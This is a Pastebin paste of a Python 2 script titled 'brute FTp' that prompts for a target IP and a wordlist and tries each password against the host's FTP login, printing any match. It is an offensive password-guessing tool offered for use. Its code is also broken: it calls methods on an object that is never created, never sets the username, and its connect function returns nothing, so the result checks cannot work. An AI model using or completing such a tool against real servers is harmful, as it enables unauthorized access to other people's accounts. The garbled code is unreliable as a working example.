Advertisement
Guest User

brute FTp

a guest
Aug 9th, 2016
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.25 KB | None | 0 0
  1. #!/bin/env Python
  2. #coding: UTF-8
  3.  
  4. from ftplib import FTP
  5. import sys
  6. import os
  7. import socket
  8. import subprocess
  9.  
  10. global host, username, line, input_file
  11.  
  12. #Para limpar a tela
  13. subprocess.call('clear', shell=True)
  14.  
  15. line = "\n-------------------------------------------------\n"
  16.  
  17. try:
  18. host = raw_input ('\033[31m' + '[*]' + '\033[0;0m' "Ip Host: ")
  19. input_file = raw_input ('\033[31m' + '[*]' + '\033[0;0m' "Wordlist Brute Force: ")
  20.  
  21. ftp.login()
  22.  
  23. if os.path.exists(input_file) == False:
  24. print "\n[*] File not Exist"
  25. sys.exit(4)
  26. except KeyboardInterrupt:
  27. print "\n\n[*] Canceled"
  28. sys.exit(3)
  29.  
  30.  
  31. def ftp_connect(password, code = 0):
  32. ftp = ftp.connect(host, port=21, username=username, password=password)
  33.  
  34. ftp.close()
  35.  
  36. input_file = open(input_file)
  37.  
  38. print ""
  39.  
  40.  
  41. for i in input_file.readlines():
  42. password = i.strip("\n")
  43. try:
  44. response = ftp_connect(password)
  45.  
  46. if response == 0:
  47. print ("%s[*] User: %s [*] Password: %s%s" % (line, username, password, line))
  48. sys.exit(0)
  49. elif response == 1:
  50. print("[*] User: %s [*] Password: %s => Login Incorrect <=" % (username, password))
  51. elif response == 2:
  52. print("[*] Not Connection: %s" % (host))
  53. sys.exit(2)
  54. except Exception, e:
  55. print e
  56. pass
  57.  
  58. input_file.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement